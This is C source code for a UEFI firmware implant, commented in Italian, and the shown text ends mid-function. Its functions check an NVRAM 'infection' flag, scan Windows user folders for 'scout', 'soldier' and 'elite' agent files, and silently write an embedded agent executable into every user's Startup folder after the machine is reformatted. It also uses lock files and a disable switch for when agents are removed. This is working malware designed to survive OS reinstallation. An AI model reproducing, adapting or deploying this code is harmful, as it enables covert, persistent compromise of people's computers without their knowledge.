/*********************************/ /* Developer: Giovanni Cino */ /*********************************/ #define IMAGE_FILE_MACHINE_ARMTHUMB_MIXED 0x01c2 #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include //#define FORCE_DEBUG #define EFI_GLOBAL_FILE_VARIABLE_GUID \ { \ 0x8BE4DF61, 0x93CA, 0x11d2, {0xAA, 0x0D, 0x00, 0xE0, 0x98, 0x30, 0x22, 0x88} \ } #define FILE_NAME_SCOUT L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" #define FILE_NAME_SOLDIER L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" #define FILE_NAME_ELITE L"\\AppData\\Local\\" #define DIR_NAME_ELITE L"\\AppData\\Local\\Microsoft\\" // (20 * (6+5+2))+1) unicode characters from EFI FAT spec (doubled for bytes) #define MAX_FILE_NAME_LEN 512 #define FIND_XXXXX_FILE_BUFFER_SIZE (SIZE_OF_EFI_FILE_INFO + MAX_FILE_NAME_LEN) #define CALC_OFFSET(type, base, offset) (type)((UINTN)base + (UINT32) offset) #ifdef FORCE_DEBUG UINT16 g_NAME_SCOUT[] = L"scoute.exe"; UINT16 g_NAME_SOLDIER[] = L"soldier.exe"; UINT16 g_NAME_ELITE[] = L"elite"; #else //32 byte per inserire 16 caratteri unicode UINT16 g_NAME_SCOUT[] = L"6To_60S7K_FU06yjEhjh5dpFw96549UU"; UINT16 g_NAME_SOLDIER[] = L"kdfas7835jfwe09j29FKFLDOR3r35fJR"; UINT16 g_NAME_ELITE[] = L"eorpekf3904kLDKQO023iosdn93smMXK"; #endif //non mi piace usare queste due variabili globali ma altrimenti sporcherei troppo il codice UINTN pSectiondata; UINTN VirtualSize; EFI_GUID gEfiGlobalFileVariableGuid = EFI_GLOBAL_FILE_VARIABLE_GUID; EFI_SYSTEM_TABLE *gST; EFI_STATUS UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable); extern EFI_RUNTIME_SERVICES *gRT; typedef UINT8 EFI_SECTION_TYPE; /** Leggo in NvRam la variabile fTA Step 1) In fase di BOOT, il firmware UEFI precedentemente infettato, controlla la variabile fTA in NvRam se fTA==FALSE o non esistente, procedo con l'infezione altrimenti se fTA==TRUE procedo col BOOT normalmente senza infettare il sistema. **/ BOOLEAN EFIAPI CheckfTA() { EFI_STATUS Status = EFI_SUCCESS; UINTN VarDataSize; UINT8 VarData; VarData=0; VarDataSize=sizeof(VarData); Status=gRT->GetVariable(L"fTA", &gEfiGlobalFileVariableGuid, NULL, &VarDataSize, (UINTN*)&VarData); if(Status!=EFI_SUCCESS || VarData==0) { #ifdef FORCE_DEBUG Print(L"Devo Infettare\n"); #endif return FALSE; } #ifdef FORCE_DEBUG Print(L"NON Devo Infettare\n"); #endif return TRUE; } /** Setto in NvRam la variabile fTA **/ BOOLEAN EFIAPI SetfTA() { EFI_STATUS Status = EFI_SUCCESS; UINT8 VarData; VarData=1; Status=gRT->SetVariable(L"fTA", &gEfiGlobalFileVariableGuid, EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS, sizeof(VarData),(UINTN*)&VarData); if(Status!=EFI_SUCCESS) { #ifdef FORCE_DEBUG Print(L"Non riesco a settare fTA\n"); #endif return FALSE; } #ifdef FORCE_DEBUG Print(L"fTA settato a TRUE\n"); #endif return TRUE; } /** Atrue: Agent installato => Esiste sotto la cartella “startup” il file associato allo scout o al soldier oppure esiste in %tmp%\..\Microsoft la cartella nascosta associata all'elite Afalse: Agente non installato Ltrue => Esiste un file vuoto in %tmp%\..\ che ha lo stesso nome della cartella elite Lfalse: Lock non esistente **/ UINTN EFIAPI CheckAL( IN CHAR16 * FileNameUser, IN EFI_FILE_HANDLE CurDir ) { EFI_STATUS Status = EFI_SUCCESS; UINTN AL; BOOLEAN A; BOOLEAN L; EFI_FILE_HANDLE TestFileHandleUser=NULL; CHAR16* FileNameScout; CHAR16* FileNameSoldier; CHAR16* DirNameElite; CHAR16* FileNameElite; FileNameScout = AllocateZeroPool(260*sizeof(CHAR16)); FileNameSoldier = AllocateZeroPool(260*sizeof(CHAR16)); DirNameElite = AllocateZeroPool(260*sizeof(CHAR16)); FileNameElite = AllocateZeroPool(260*sizeof(CHAR16)); StrCpy(FileNameScout,FileNameUser); StrCat(FileNameScout, FILE_NAME_SCOUT); StrCat(FileNameScout, g_NAME_SCOUT); StrCpy(FileNameSoldier,FileNameUser); StrCat(FileNameSoldier, FILE_NAME_SOLDIER); StrCat(FileNameSoldier, g_NAME_SOLDIER); StrCpy(FileNameElite,FileNameUser); StrCat(FileNameElite,FILE_NAME_ELITE); StrCat(FileNameElite,g_NAME_ELITE); StrCpy(DirNameElite,FileNameUser); StrCat(DirNameElite, DIR_NAME_ELITE); StrCat(DirNameElite, g_NAME_ELITE); A=FALSE; Status = CurDir->Open (CurDir, &TestFileHandleUser, FileNameScout, EFI_FILE_MODE_READ, 0); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"File [%s] non trovato\n",FileNameScout); #endif Status = CurDir->Open (CurDir, &TestFileHandleUser, FileNameSoldier, EFI_FILE_MODE_READ, 0); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"File [%s] non trovato\n",FileNameSoldier); #endif Status = CurDir->Open (CurDir, &TestFileHandleUser, DirNameElite, EFI_FILE_MODE_READ, 0); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Cartella [%s] non trovato\n",DirNameElite); #endif } else { A=TRUE; #ifdef FORCE_DEBUG Print(L"Cartella [%s] TROVATA\n",DirNameElite); #endif //chiudo il file aperto Status = TestFileHandleUser->Close(TestFileHandleUser); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",DirNameElite); #endif } } } else { A=TRUE; #ifdef FORCE_DEBUG Print(L"File [%s] TROVATO\n",FileNameSoldier); #endif //chiudo il file aperto Status = TestFileHandleUser->Close(TestFileHandleUser); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",FileNameSoldier); #endif } } } else { A=TRUE; #ifdef FORCE_DEBUG Print(L"File [%s] TROVATO\n",FileNameScout); #endif //chiudo il file aperto Status = TestFileHandleUser->Close(TestFileHandleUser); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",FileNameScout); #endif } } L=FALSE; Status = CurDir->Open (CurDir, &TestFileHandleUser, FileNameElite, EFI_FILE_MODE_READ, 0); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"File [%s] non trovato\n",FileNameElite); #endif } else { L=TRUE; #ifdef FORCE_DEBUG Print(L"File [%s] TROVATO\n",FileNameElite); #endif //chiudo il file aperto Status = TestFileHandleUser->Close(TestFileHandleUser); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",FileNameElite); #endif } } AL=0; AL=(UINTN)A*2+(UINTN)L; FreePool(FileNameScout); FreePool(FileNameSoldier); FreePool(DirNameElite); FreePool(FileNameElite); return AL; } EFI_STATUS EFIAPI InstallAgent( IN EFI_FILE_HANDLE CurDir, IN CHAR16 * FileNameUser ) { EFI_STATUS Status = EFI_SUCCESS; EFI_FILE_HANDLE FileHandle; CHAR16* FileNameScout; FileNameScout = AllocateZeroPool(260*sizeof(CHAR16)); StrCpy(FileNameScout,FileNameUser); StrCat(FileNameScout, FILE_NAME_SCOUT); StrCat(FileNameScout, g_NAME_SCOUT); Status = CurDir->Open (CurDir, &FileHandle, FileNameScout, EFI_FILE_MODE_READ|EFI_FILE_MODE_WRITE|EFI_FILE_MODE_CREATE, 0); FreePool(FileNameScout); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Error Open Agent File\n"); #endif return Status; } #ifdef FORCE_DEBUG Print(L"FileHandle->Write ... VirtualSize=%x [0]=%x [1]=%x [2]=%x [3]=%x\n",VirtualSize,((UINT8*)pSectiondata)[0],((UINT8*)pSectiondata)[1] * 0x100 ,((UINT8*)pSectiondata)[2] * 0x10000,((UINT8*)pSectiondata)[3] * 0x1000000); #endif Status=FileHandle->Write(FileHandle,&VirtualSize,(UINT8*)(pSectiondata)); if( Status != EFI_SUCCESS ) { #ifdef FORCE_DEBUG Print(L"Write File Agent Failed\n"); #endif return Status; } else { #ifdef FORCE_DEBUG Print(L"InstallAgent OK\n"); #endif } Status=FileHandle->Close(FileHandle); if( Status != EFI_SUCCESS ) { #ifdef FORCE_DEBUG Print(L"Closing File Agent Failed\n"); #endif return Status; } return EFI_SUCCESS; } EFI_STATUS EFIAPI InsertFileLock( IN EFI_FILE_HANDLE CurDir, IN CHAR16 * FileNameUser ) { EFI_STATUS Status = EFI_SUCCESS; EFI_FILE_HANDLE FileHandle; CHAR16* FileNameElite; FileNameElite = AllocateZeroPool(260*sizeof(CHAR16)); StrCpy(FileNameElite,FileNameUser); StrCat(FileNameElite,FILE_NAME_ELITE); StrCat(FileNameElite,g_NAME_ELITE); #ifdef FORCE_DEBUG Print(L"sto tentando di scrivere: %s\n",FILE_NAME_ELITE); #endif Status = CurDir->Open (CurDir, &FileHandle, FileNameElite, EFI_FILE_MODE_READ|EFI_FILE_MODE_WRITE|EFI_FILE_MODE_CREATE, 0); FreePool(FileNameElite); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Error Open File InsertFileLock\n"); #endif return Status; } else { #ifdef FORCE_DEBUG Print(L"InsertFileLock OK\n"); #endif } Status=FileHandle->Close(FileHandle); if( Status != EFI_SUCCESS ) { #ifdef FORCE_DEBUG Print(L"Closing InsertFileLock File Failed\n"); #endif return Status; } return EFI_SUCCESS; } EFI_STATUS EFIAPI RemoveFileLock( IN EFI_FILE_HANDLE CurDir, IN CHAR16 * FileNameUser ) { EFI_STATUS Status = EFI_SUCCESS; EFI_FILE_HANDLE FileHandle; CHAR16* FileNameElite; FileNameElite = AllocateZeroPool(260*sizeof(CHAR16)); StrCpy(FileNameElite,FileNameUser); StrCat(FileNameElite,FILE_NAME_ELITE); StrCat(FileNameElite,g_NAME_ELITE); Status = CurDir->Open (CurDir, &FileHandle, FileNameElite, EFI_FILE_MODE_READ|EFI_FILE_MODE_WRITE, 0); FreePool(FileNameElite); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Error Open File RemoveFileLock\n"); #endif return Status; } else { #ifdef FORCE_DEBUG Print(L"RemoveFileLock OK\n"); #endif } Status=FileHandle->Delete(FileHandle); if( Status != EFI_SUCCESS ) { #ifdef FORCE_DEBUG Print(L"Write RemoveFileLock File Failed\n"); #endif return Status; } return EFI_SUCCESS; } BOOLEAN EFIAPI TestIsUserNotEmpty( IN EFI_FILE_HANDLE CurDir ) { EFI_STATUS Status; EFI_FILE_INFO *FileInfo; BOOLEAN NoFile; BOOLEAN RetVal; CHAR16 *FileNameDesktop; EFI_FILE_HANDLE TestFileHandleDesktop=NULL; UINTN AL; BOOLEAN IsUser; BOOLEAN IsFormat; EFI_FILE_HANDLE FileHandle=NULL; RetVal = TRUE; NoFile = FALSE; Status = CurDir->Open (CurDir, &FileHandle, L".\\Users", EFI_FILE_MODE_READ, 0); FileInfo = NULL; FileNameDesktop = AllocateZeroPool(260*sizeof(CHAR16)); IsUser=FALSE; IsFormat=TRUE; for ( Status = FileHandleFindFirstFile(FileHandle, &FileInfo); !NoFile; Status = FileHandleFindNextFile(FileHandle, FileInfo, &NoFile) ) { if (FileInfo==NULL) { Status = FileHandle->Close(FileHandle); FreePool(FileNameDesktop); return FALSE; } #ifdef FORCE_DEBUG Print(L"[[[NomeFile:: %s FileSize:: %d]]]\n",FileInfo->FileName,FileInfo->FileSize); #endif if ( StrStr(FileInfo->FileName, L".") == FileInfo->FileName ) continue; if ( StrStr(FileInfo->FileName, L"..") == FileInfo->FileName ) continue; if ( StrStr(FileInfo->FileName, L"Public") == FileInfo->FileName ) continue; if ( StrStr(FileInfo->FileName, L"Administrator") == FileInfo->FileName ) continue; //Per aumentare la probabilita' che la cartella sia di un utente vero e non che sia stata creata da // manualmente controllo che vi sia la sottocartella Desktop ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16)); StrCpy(FileNameDesktop, L".\\Users\\"); StrCat(FileNameDesktop, FileInfo->FileName); StrCat(FileNameDesktop, L"\\Desktop"); #ifdef FORCE_DEBUG Print(L"%s\n",FileNameDesktop); #endif Status = CurDir->Open (CurDir, &TestFileHandleDesktop, FileNameDesktop, EFI_FILE_MODE_READ, 0); if (EFI_ERROR(Status)) { continue; } //chiudo il file aperto Status = TestFileHandleDesktop->Close(TestFileHandleDesktop); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",FileNameDesktop); #endif } //se arrivo qua è perche' riscontro un possibile utente ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16)); StrCpy(FileNameDesktop, L".\\Users\\"); StrCat(FileNameDesktop, FileInfo->FileName); #ifdef FORCE_DEBUG Print(L"Nome Utente Trovato:%s\n",FileInfo->FileName); #endif AL=CheckAL(FileNameDesktop,CurDir); switch (AL) { case 0: #ifdef FORCE_DEBUG Print(L"case 0\n"); #endif break; case 1: #ifdef FORCE_DEBUG Print(L"case 1\n"); #endif RemoveFileLock(CurDir,FileNameDesktop); IsFormat = FALSE; break; case 2: #ifdef FORCE_DEBUG Print(L"case 2\n"); #endif InsertFileLock(CurDir,FileNameDesktop); IsUser=TRUE; IsFormat=FALSE; break; case 3: #ifdef FORCE_DEBUG Print(L"case 3\n"); #endif IsUser=TRUE; IsFormat=FALSE; break; } } // end for Status = FileHandle->Close(FileHandle); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",FileHandle); #endif } if(IsFormat == TRUE) { //siglifica che il pc è stato formattato //installo l'Agent=> Scout e creo il file di Lock su tutti gli utenti del sistema #ifdef FORCE_DEBUG Print(L"IsFormat == TRUE\n"); #endif Status = CurDir->Open (CurDir, &FileHandle, L".\\Users", EFI_FILE_MODE_READ, 0); RetVal = TRUE; NoFile = FALSE; FileInfo = NULL; for ( Status = FileHandleFindFirstFile(FileHandle, &FileInfo); !NoFile; Status = FileHandleFindNextFile(FileHandle, FileInfo, &NoFile) ) { if (FileInfo==NULL) { #ifdef FORCE_DEBUG Print(L"FileInfo==NULL\n"); #endif Status = FileHandle->Close(FileHandle); return FALSE; } #ifdef FORCE_DEBUG Print(L"[[[NomeFile:::: %s FileSize:: %d]]]\n",FileInfo->FileName,FileInfo->FileSize); #endif ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16)); if ( StrStr(FileInfo->FileName, L".") == FileInfo->FileName ) continue; if ( StrStr(FileInfo->FileName, L"..") == FileInfo->FileName ) continue; if ( StrStr(FileInfo->FileName, L"Public") == FileInfo->FileName ) continue; if ( StrStr(FileInfo->FileName, L"Administrator") == FileInfo->FileName ) continue; //Per aumentare la probabilita' che la cartella sia di un utente vero e non che sia stata creata da // manualmente controllo che vi sia la sottocartella Desktop ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16)); StrCpy(FileNameDesktop, L".\\Users\\"); StrCat(FileNameDesktop, FileInfo->FileName); StrCat(FileNameDesktop, L"\\Desktop"); Status = CurDir->Open (CurDir, &TestFileHandleDesktop, FileNameDesktop, EFI_FILE_MODE_READ, 0); if (EFI_ERROR(Status)) { continue; } //chiudo il file aperto Status = TestFileHandleDesktop->Close(TestFileHandleDesktop); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",FileNameDesktop); #endif } //se arrivo qua è perche' riscontro un possibile utente ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16)); StrCpy(FileNameDesktop, L".\\Users\\"); StrCat(FileNameDesktop, FileInfo->FileName); //Installo l'Agent InstallAgent(CurDir,FileNameDesktop); //Creo il file di Lock per questo utente InsertFileLock(CurDir,FileNameDesktop); } Status = FileHandle->Close(FileHandle); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",FileHandle); #endif } } if(IsFormat == FALSE && IsUser == FALSE) { #ifdef FORCE_DEBUG Print(L"IsFormat == FALSE && IsUser == FALSE\n"); #endif //significa che sono stati rimossi volutamente tutti gli agenti => disabilito l'UEFI settando la variabile fTA=TRUE SetfTA(); } #ifdef FORCE_DEBUG Print(L"NomeFile::exit\n"); #endif FreePool(FileNameDesktop); return FALSE; } /** This function will retrieve the information about the file for the handle specified and store it in allocated pool memory. This function allocates a buffer to store the file's information. It is the caller's responsibility to free the buffer @param FileHandle The file handle of the file for which information is being requested. @retval NULL information could not be retrieved. @return the information about the file **/ EFI_FILE_INFO* EFIAPI FileHandleGetInfo ( IN EFI_FILE_HANDLE FileHandle ) { EFI_FILE_INFO *FileInfo; UINTN FileInfoSize; EFI_STATUS Status; if (FileHandle == NULL) { return (NULL); } // // Get the required size to allocate // FileInfoSize = 0; FileInfo = NULL; Status = FileHandle->GetInfo(FileHandle, &gEfiFileInfoGuid, &FileInfoSize, NULL); if (Status == EFI_BUFFER_TOO_SMALL){ // // error is expected. getting size to allocate // FileInfo = AllocateZeroPool(FileInfoSize); // // now get the information // Status = FileHandle->GetInfo(FileHandle, &gEfiFileInfoGuid, &FileInfoSize, FileInfo); // // if we got an error free the memory and return NULL // if (EFI_ERROR(Status) && (FileInfo != NULL)) { FreePool(FileInfo); FileInfo = NULL; } } return (FileInfo); } /** Set the current position in a file. This function sets the current file position for the handle to the position supplied. With the exception of seeking to position 0xFFFFFFFFFFFFFFFF, only absolute positioning is supported, and seeking past the end of the file is allowed (a subsequent write would grow the file). Seeking to position 0xFFFFFFFFFFFFFFFF causes the current position to be set to the end of the file. If FileHandle is a directory, the only position that may be set is zero. This has the effect of starting the read process of the directory entries over. @param FileHandle The file handle on which the position is being set @param Position Byte position from begining of file @retval EFI_SUCCESS Operation completed sucessfully. @retval EFI_UNSUPPORTED the seek request for non-zero is not valid on directories. @retval INVALID_PARAMETER One of the parameters has an invalid value. **/ EFI_STATUS EFIAPI FileHandleSetPosition ( IN EFI_FILE_HANDLE FileHandle, IN UINT64 Position ) { // // ASSERT if FileHandle is NULL // ASSERT (FileHandle != NULL); // // Perform the SetPosition based on EFI_FILE_PROTOCOL // return (FileHandle->SetPosition(FileHandle, Position)); } /** function to determine if a given handle is a directory handle if DirHandle is NULL then ASSERT() open the file information on the DirHandle and verify that the Attribute includes EFI_FILE_DIRECTORY bit set. @param DirHandle Handle to open file @retval EFI_SUCCESS DirHandle is a directory @retval EFI_INVALID_PARAMETER DirHandle did not have EFI_FILE_INFO available @retval EFI_NOT_FOUND DirHandle is not a directory **/ EFI_STATUS EFIAPI FileHandleIsDirectory ( IN EFI_FILE_HANDLE DirHandle ) { EFI_FILE_INFO *DirInfo; // // ASSERT if DirHandle is NULL // ASSERT(DirHandle != NULL); // // get the file information for DirHandle // DirInfo = FileHandleGetInfo (DirHandle); // // Parse DirInfo // if (DirInfo == NULL) { // // We got nothing... // return (EFI_INVALID_PARAMETER); } if ((DirInfo->Attribute & EFI_FILE_DIRECTORY) == 0) { // // Attributes say this is not a directory // FreePool (DirInfo); return (EFI_NOT_FOUND); } // // all good... // FreePool (DirInfo); return (EFI_SUCCESS); } /** Retrieve first entry from a directory. This function takes an open directory handle and gets information from the first entry in the directory. A buffer is allocated to contain the information and a pointer to the buffer is returned in *Buffer. The caller can use FileHandleFindNextFile() to get subsequent directory entries. The buffer will be freed by FileHandleFindNextFile() when the last directory entry is read. Otherwise, the caller must free the buffer, using FreePool, when finished with it. @param[in] DirHandle The file handle of the directory to search. @param[out] Buffer The pointer to pointer to buffer for file's information. @retval EFI_SUCCESS Found the first file. @retval EFI_NOT_FOUND Cannot find the directory. @retval EFI_NO_MEDIA The device has no media. @retval EFI_DEVICE_ERROR The device reported an error. @retval EFI_VOLUME_CORRUPTED The file system structures are corrupted. @return Others status of FileHandleGetInfo, FileHandleSetPosition, or FileHandleRead **/ EFI_STATUS EFIAPI FileHandleFindFirstFile ( IN EFI_FILE_HANDLE DirHandle, OUT EFI_FILE_INFO **Buffer ) { EFI_STATUS Status; UINTN BufferSize; if (Buffer == NULL || DirHandle == NULL) { return (EFI_INVALID_PARAMETER); } // // verify that DirHandle is a directory // Status = FileHandleIsDirectory(DirHandle); if (EFI_ERROR(Status)) { return (Status); } // // Allocate a buffer sized to struct size + enough for the string at the end // BufferSize = FIND_XXXXX_FILE_BUFFER_SIZE; *Buffer = AllocateZeroPool(BufferSize); if (*Buffer == NULL){ return (EFI_OUT_OF_RESOURCES); } // // reset to the begining of the directory // Status = FileHandleSetPosition(DirHandle, 0); if (EFI_ERROR(Status)) { FreePool(*Buffer); *Buffer = NULL; return (Status); } // // read in the info about the first file // Status = FileHandleRead (DirHandle, &BufferSize, *Buffer); ASSERT(Status != EFI_BUFFER_TOO_SMALL); if (EFI_ERROR(Status) || BufferSize == 0) { FreePool(*Buffer); *Buffer = NULL; if (BufferSize == 0) { return (EFI_NOT_FOUND); } return (Status); } return (EFI_SUCCESS); } /** This function reads information from an opened file. If FileHandle is not a directory, the function reads the requested number of bytes from the file at the file's current position and returns them in Buffer. If the read goes beyond the end of the file, the read length is truncated to the end of the file. The file's current position is increased by the number of bytes returned. If FileHandle is a directory, the function reads the directory entry at the file's current position and returns the entry in Buffer. If the Buffer is not large enough to hold the current directory entry, then EFI_BUFFER_TOO_SMALL is returned and the current file position is not updated. BufferSize is set to be the size of the buffer needed to read the entry. On success, the current position is updated to the next directory entry. If there are no more directory entries, the read returns a zero-length buffer. EFI_FILE_INFO is the structure returned as the directory entry. @param FileHandle the opened file handle @param BufferSize on input the size of buffer in bytes. on return the number of bytes written. @param Buffer the buffer to put read data into. @retval EFI_SUCCESS Data was read. @retval EFI_NO_MEDIA The device has no media. @retval EFI_DEVICE_ERROR The device reported an error. @retval EFI_VOLUME_CORRUPTED The file system structures are corrupted. @retval EFI_BUFFER_TO_SMALL Buffer is too small. ReadSize contains required size. **/ EFI_STATUS EFIAPI FileHandleRead( IN EFI_FILE_HANDLE FileHandle, IN OUT UINTN *BufferSize, OUT VOID *Buffer ) { // // ASSERT if FileHandle is NULL // ASSERT (FileHandle != NULL); // // Perform the read based on EFI_FILE_PROTOCOL // return (FileHandle->Read(FileHandle, BufferSize, Buffer)); } EFI_HANDLE* EFIAPI GetHandleListByProtocol ( IN CONST EFI_GUID *ProtocolGuid OPTIONAL ) { EFI_HANDLE *HandleList; UINTN Size; EFI_STATUS Status; Size = 0; HandleList = NULL; // // We cannot use LocateHandleBuffer since we need that NULL item on the ends of the list! // if (ProtocolGuid == NULL) { Status = gBS->LocateHandle(AllHandles, NULL, NULL, &Size, HandleList); if (Status == EFI_BUFFER_TOO_SMALL) { HandleList = AllocateZeroPool(Size + sizeof(EFI_HANDLE)); if (HandleList == NULL) { return (NULL); } Status = gBS->LocateHandle(AllHandles, NULL, NULL, &Size, HandleList); HandleList[Size/sizeof(EFI_HANDLE)] = NULL; } } else { Status = gBS->LocateHandle(ByProtocol, (EFI_GUID*)ProtocolGuid, NULL, &Size, HandleList); if (Status == EFI_BUFFER_TOO_SMALL) { HandleList = AllocateZeroPool(Size + sizeof(EFI_HANDLE)); if (HandleList == NULL) { return (NULL); } Status = gBS->LocateHandle(ByProtocol, (EFI_GUID*)ProtocolGuid, NULL, &Size, HandleList); HandleList[Size/sizeof(EFI_HANDLE)] = NULL; } } if (EFI_ERROR(Status)) { if (HandleList != NULL) { FreePool(HandleList); } return (NULL); } return (HandleList); } /** Retrieve next entries from a directory. To use this function, the caller must first call the FileHandleFindFirstFile() function to get the first directory entry. Subsequent directory entries are retrieved by using the FileHandleFindNextFile() function. This function can be called several times to get each entry from the directory. If the call of FileHandleFindNextFile() retrieved the last directory entry, the next call of this function will set *NoFile to TRUE and free the buffer. @param[in] DirHandle The file handle of the directory. @param[out] Buffer The pointer to buffer for file's information. @param[out] NoFile The pointer to boolean when last file is found. @retval EFI_SUCCESS Found the next file, or reached last file @retval EFI_NO_MEDIA The device has no media. @retval EFI_DEVICE_ERROR The device reported an error. @retval EFI_VOLUME_CORRUPTED The file system structures are corrupted. **/ EFI_STATUS EFIAPI FileHandleFindNextFile( IN EFI_FILE_HANDLE DirHandle, OUT EFI_FILE_INFO *Buffer, OUT BOOLEAN *NoFile ) { EFI_STATUS Status; UINTN BufferSize; // // ASSERTs for DirHandle or Buffer or NoFile poitners being NULL // ASSERT (DirHandle != NULL); ASSERT (Buffer != NULL); ASSERT (NoFile != NULL); // // This BufferSize MUST stay equal to the originally allocated one in GetFirstFile // BufferSize = FIND_XXXXX_FILE_BUFFER_SIZE; // // read in the info about the next file // Status = FileHandleRead (DirHandle, &BufferSize, Buffer); ASSERT(Status != EFI_BUFFER_TOO_SMALL); if (EFI_ERROR(Status)) { return (Status); } // // If we read 0 bytes (but did not have erros) we already read in the last file. // if (BufferSize == 0) { FreePool(Buffer); *NoFile = TRUE; } return (EFI_SUCCESS); } /** Controllo se vi sono utenti installati nel sistema Step 2) NO: Se nel sistema non vi sono utenti significa che il sistema è vergine, per cui non devo fare nessuna operazione. SI: Se nel sistema vi è uno o piu' utenti devo procedere la seguente analisi per ogni utente ATTENZIONE: se si recovera il pc o si prende un pc vergine l'utente Administrator esiste, per cui se vi è solo l'utente Administrator nel sistema è come se non vi fosse nessun utente **/ BOOLEAN EFIAPI CheckUsers( IN EFI_HANDLE DeviceHandle ) { EFI_STATUS Status = EFI_SUCCESS; EFI_FILE_HANDLE TestFileHandle=NULL; EFI_HANDLE *HandleList; UINTN Count; EFI_DEVICE_PATH_PROTOCOL **DevicePathList; EFI_SIMPLE_FILE_SYSTEM_PROTOCOL *Vol; EFI_FILE_HANDLE Root; EFI_FILE_HANDLE CurDir; //Estraggo l'handle di tutti i volumi HandleList = GetHandleListByProtocol(&gEfiSimpleFileSystemProtocolGuid); if (HandleList != NULL) { // // Do a count of the handles // for (Count = 0 ; HandleList[Count] != NULL ; Count++); #ifdef FORCE_DEBUG Print(L"\nHandleList Count: <%x>\n",Count); #endif // // Get all Device Paths // // DevicePathList[Count] è ridondato DevicePathList = AllocateZeroPool(sizeof(EFI_DEVICE_PATH_PROTOCOL*) * Count); ASSERT(DevicePathList != NULL); for (Count = 0 ; HandleList[Count] != NULL ; Count++) { DevicePathList[Count] = DevicePathFromHandle(HandleList[Count]); #ifdef FORCE_DEBUG Print(L"\n DevicePathList[%d]: <%s>\n",Count,DevicePathList[Count]); #endif DeviceHandle=HandleList[Count]; Status = gBS->HandleProtocol (DeviceHandle, &gEfiSimpleFileSystemProtocolGuid, &Vol); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Error SimpleFileSystem\r\n"); #endif continue; } // OPEN VOLUME***** Status = Vol->OpenVolume (Vol, &Root); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Error OpenVolume\n"); #endif continue; } CurDir = Root; //OPEN FILE**** Status = CurDir->Open (CurDir, &TestFileHandle, L".\\Users", EFI_FILE_MODE_READ, 0); if (EFI_ERROR(Status)) { continue; } //chiudo il file aperto Status = TestFileHandle->Close(TestFileHandle); if (EFI_ERROR(Status)) { #ifdef FORCE_DEBUG Print(L"Can not close the file %s\n",L".\\Users"); #endif } FreePool(DevicePathList); return TestIsUserNotEmpty(CurDir); } FreePool(DevicePathList); } return FALSE; } EFI_STATUS GetImageFromFv ( //#if (PI_SPECIFICATION_VERSION < 0x00010000) // IN EFI_FIRMWARE_VOLUME_PROTOCOL *Fv, //#else IN EFI_FIRMWARE_VOLUME2_PROTOCOL *Fv, //#endif IN EFI_GUID *NameGuid, IN EFI_SECTION_TYPE SectionType, OUT VOID **Buffer, OUT UINTN *Size ) { EFI_STATUS Status; EFI_FV_FILETYPE FileType; EFI_FV_FILE_ATTRIBUTES Attributes; UINT32 AuthenticationStatus; // // Read desired section content in NameGuid file // *Buffer = NULL; *Size = 0; Status = Fv->ReadSection ( Fv, NameGuid, SectionType, 0, Buffer, Size, &AuthenticationStatus ); if (EFI_ERROR (Status) && (SectionType == EFI_SECTION_TE)) { // // Try reading PE32 section, since the TE section does not exist // *Buffer = NULL; *Size = 0; Status = Fv->ReadSection ( Fv, NameGuid, EFI_SECTION_PE32, 0, Buffer, Size, &AuthenticationStatus ); } if (EFI_ERROR (Status) && ((SectionType == EFI_SECTION_TE) || (SectionType == EFI_SECTION_PE32))) { // // Try reading raw file, since the desired section does not exist // *Buffer = NULL; *Size = 0; Status = Fv->ReadFile ( Fv, NameGuid, Buffer, Size, &FileType, &Attributes, &AuthenticationStatus ); } return Status; } EFI_STATUS GetImageEx ( IN EFI_HANDLE ImageHandle, IN EFI_GUID *NameGuid, IN EFI_SECTION_TYPE SectionType, OUT VOID **Buffer, OUT UINTN *Size, BOOLEAN WithinImageFv ) { EFI_STATUS Status; EFI_HANDLE *HandleBuffer; UINTN HandleCount; UINTN Index; EFI_LOADED_IMAGE_PROTOCOL *LoadedImage; //#if (PI_SPECIFICATION_VERSION < 0x00010000) // EFI_FIRMWARE_VOLUME_PROTOCOL *ImageFv; // EFI_FIRMWARE_VOLUME_PROTOCOL *Fv; //#else EFI_FIRMWARE_VOLUME2_PROTOCOL *ImageFv; EFI_FIRMWARE_VOLUME2_PROTOCOL *Fv; //#endif UINTN fEfiFirmwareVolumeProtocol=1; EFI_GUID gEfiFirmwareVolumeProtocolGuid = EFI_FIRMWARE_VOLUME_PROTOCOL_GUID; EFI_GUID gEfiFirmwareVolume2ProtocolGuid = EFI_FIRMWARE_VOLUME2_PROTOCOL_GUID; #ifdef 